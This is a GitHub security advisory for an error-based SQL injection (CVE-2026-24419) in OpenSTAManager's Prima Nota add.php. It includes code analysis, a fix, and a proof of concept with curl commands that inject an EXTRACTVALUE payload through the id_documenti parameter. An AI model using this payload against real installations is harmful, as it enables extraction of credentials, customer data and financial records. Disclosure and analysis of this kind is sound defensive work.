GHSA-4J2X-JH4M-FQV6
Vulnerability from github – Published: 2026-02-06 18:25 – Updated: 2026-02-10 01:17Summary
Critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.
Status: ✅ Confirmed and tested on live instance (v2.9.8)
Vulnerable Parameters: id_documenti (GET parameters)
Affected Endpoint: /modules/primanota/add.php
Attack Type: Error-Based SQL Injection (IN clause)
Details
OpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module's add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.
Vulnerability Chain:
-
Entry Point:
/modules/primanota/add.php(Lines 63-67)php $id_documenti = $id_documenti ?: get('id_documenti'); $id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];Impact: Theget()function retrieves user-controlled URL parameters,explode(',', (string) ...)splits them by comma, but NO validation ensures elements are integers. -
SQL Injection Point:
/modules/primanota/add.php(Line 306)php $id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];Impact: Array elements from$id_documentiare directly concatenated usingimplode()without type validation orprepare(), enabling full SQL injection.
Root Cause Analysis:
The vulnerability exists because:
1. get('id_documenti') return user-controlled strings
2. explode(',', (string) $value) splits by comma but doesn't validate types
3. implode(',', $array) concatenates array elements directly into SQL
4. No validation ensures array elements are integers
5. Attacker can inject SQL by providing: ?id_documenti=1) AND EXTRACTVALUE(...) %23
Affected Code Path:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [NO TYPE VALIDATION]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [INJECTION POINT]
PoC
Step 1: Login
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Verify Vulnerability (Error-Based SQL Injection)
Test 1: Extract Database User and Version
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
Response (error message visible to attacker):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~osm@172.18.0.3 | 8.3.0'</code>
Impact
All authenticated users with access to the Prima Nota (Journal Entry) module.
Recommended Fix
Primary Fix - Type Validation:
File: /modules/primanota/add.php
BEFORE (Vulnerable - Lines 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
AFTER (Fixed):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Credits
Discovered by Łukasz Rybak
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24419"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T18:25:55Z",
"nvd_published_at": "2026-02-06T18:15:58Z",
"severity": "HIGH"
},
"details": "### Summary\n\nCritical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module of OpenSTAManager v2.9.8 allows authenticated attackers to extract complete database contents including user credentials, customer PII, and financial records through XML error messages by injecting malicious SQL into URL parameters.\n\n**Status:** \u2705 Confirmed and tested on live instance (v2.9.8)\n**Vulnerable Parameters:** `id_documenti` (GET parameters)\n**Affected Endpoint:** `/modules/primanota/add.php`\n**Attack Type:** Error-Based SQL Injection (IN clause)\n\n### Details\n\nOpenSTAManager v2.9.8 contains a critical Error-Based SQL Injection vulnerability in the Prima Nota (Journal Entry) module\u0027s add.php file. The application fails to validate that comma-separated values from GET parameters are integers before using them in SQL IN() clauses, allowing attackers to inject arbitrary SQL commands and extract sensitive data through XPATH error messages.\n\n**Vulnerability Chain:**\n\n1. **Entry Point:** `/modules/primanota/add.php` (Lines 63-67)\n ```php\n $id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n $id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n ```\n **Impact:** The `get()` function retrieves user-controlled URL parameters, `explode(\u0027,\u0027, (string) ...)` splits them by comma, but NO validation ensures elements are integers.\n\n2. **SQL Injection Point:** `/modules/primanota/add.php` (Line 306)\n ```php\n $id_anagrafica = $dbo-\u003efetchOne(\u0027SELECT idanagrafica FROM co_documenti WHERE id IN(\u0027.($id_documenti ? implode(\u0027,\u0027, $id_documenti) : 0).\u0027)\u0027)[\u0027idanagrafica\u0027];\n ```\n **Impact:** Array elements from `$id_documenti` are directly concatenated using `implode()` without type validation or `prepare()`, enabling full SQL injection. \n\n\n**Root Cause Analysis:**\n\nThe vulnerability exists because:\n1. `get(\u0027id_documenti\u0027)` return user-controlled strings\n2. `explode(\u0027,\u0027, (string) $value)` splits by comma but doesn\u0027t validate types\n3. `implode(\u0027,\u0027, $array)` concatenates array elements directly into SQL\n4. No validation ensures array elements are integers\n5. Attacker can inject SQL by providing: `?id_documenti=1) AND EXTRACTVALUE(...) %23`\n\n**Affected Code Path:**\n```\nGET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD\n \u2193\nadd.php:63 - $id_documenti = get(\u0027id_documenti\u0027)\n \u2193\nadd.php:64 - $id_documenti = explode(\u0027,\u0027, (string) $id_documenti) [NO TYPE VALIDATION]\n \u2193\nadd.php:306 - WHERE id IN(\u0027.implode(\u0027,\u0027, $id_documenti).\u0027) [INJECTION POINT]\n```\n\n### PoC\n\n\n**Step 1: Login**\n```bash\ncurl -c /tmp/cookies.txt -X POST \u0027http://localhost:8081/index.php?op=login\u0027 \\\n -d \u0027username=admin\u0026password=admin\u0027\n```\n\n**Step 2: Verify Vulnerability (Error-Based SQL Injection)**\n\n**Test 1: Extract Database User and Version**\n```bash\ncurl -b /tmp/cookies.txt \"http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),\u0027%20|%20\u0027,VERSION()))))%23\"\n```\n\n**Response (error message visible to attacker):**\n```html\n\u003ccode\u003eSQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0026#039;~osm@172.18.0.3 | 8.3.0\u0026#039;\u003c/code\u003e\n```\n\u003cimg width=\"1231\" height=\"405\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1657b844-281a-431b-8472-c81e4d90bf64\" /\u003e\n\n\n### Impact\n\nAll authenticated users with access to the Prima Nota (Journal Entry) module.\n\n\n### Recommended Fix\n\n**Primary Fix - Type Validation:**\n\nFile: `/modules/primanota/add.php`\n\n**BEFORE (Vulnerable - Lines 63-67):**\n```php\n$id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n$id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n```\n\n**AFTER (Fixed):**\n```php\n$id_documenti = $id_documenti ?: get(\u0027id_documenti\u0027);\n$id_documenti = $id_documenti ? explode(\u0027,\u0027, (string) $id_documenti) : [];\n// Validate that all array elements are integers\n$id_documenti = array_map(\u0027intval\u0027, $id_documenti);\n$id_documenti = array_filter($id_documenti, fn($id) =\u003e $id \u003e 0); // Remove zero/negative IDs\n```\n\n### Credits\nDiscovered by \u0141ukasz Rybak",
"id": "GHSA-4j2x-jh4m-fqv6",
"modified": "2026-02-10T01:17:32Z",
"published": "2026-02-06T18:25:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4j2x-jh4m-fqv6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24419"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has a SQL Injection in the Prima Nota module "
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.